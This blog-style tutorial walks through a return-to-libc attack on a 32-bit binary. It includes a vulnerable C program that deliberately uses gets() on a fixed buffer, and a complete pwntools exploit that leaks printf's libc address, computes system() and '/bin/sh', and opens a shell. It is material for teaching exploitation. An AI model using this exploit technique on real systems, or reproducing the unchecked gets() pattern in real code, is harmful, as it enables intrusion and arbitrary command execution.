Return to libc attack
if we can control instruction pointer , it possible to us to doing this attack. this method can be used even the target machine have aslr and pie enabled, since we can leak libc function and calculate it with some offset. we can use this code :
#include <stdio.h>
int main()
{
char buf[200]; // limitation
printf("+-------------------------------------------+\n");
printf("| developed by tripoloski 2019 |\n");
printf("| how to : |\n");
printf("| - leaking libc |\n");
printf("| - calculate to got shell |\n");
printf("+-------------------------------------------+\n");
printf("buff > ");
gets(&buf); // bug in here
return 0;
}
you can get the binary from my repository here
i assume you already know about buffer overflow vulnerability. firstly we need to find the offset to overwrite instruction pointer , i use gdb-gef to do dynamic analysis you can find gdb-gef here. to find the offset i use pattern to automatic calculate the offset
the offset to overwrite eip is 208 bytes , so we need 208 bytes padding to be able to overwrite eip. now let’s find puts@plt by using objdump
and now let’s find libc function by using readelf
we will use printf , so now we will leak printf address. our exploit should be look like this
p = "A" * 208
p += p32(puts) # puts plt from objdump
p += p32(main) # you can find main like puts using objdump
p += p32(printf) # printf from readelf
the binary will jump back to main function after leak printf , its like
puts(&printf)
main()
now we can grab that leaked address and calculate it to system offset , and send another exploit that contains system() and string “/bin/sh” , our full exploit will look like this
from pwn import *
r = process("./lib")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
def main():
puts = 0x08049050
printf = 0x0804c00c
main = 0x08049182
p = "A" * 208
p += p32(puts)
p += p32(main)
p += p32(printf)
r.sendline(p)
r.recvuntil("buff > ")
printf_leak = u32(r.recv(4))
log.info("leaked printf glibc : %s " % hex(printf_leak) )
libc_base = printf_leak - libc.symbols['printf']
libc_system = libc_base + libc.symbols['system']
binsh_str = libc_base + libc.search("/bin/sh").next()
q = "A" * 208
q += p32(libc_system)
q += p32(00)
q += p32(binsh_str)
r.sendline(q)
r.interactive()
r.interactive()
if __name__ == '__main__':
main()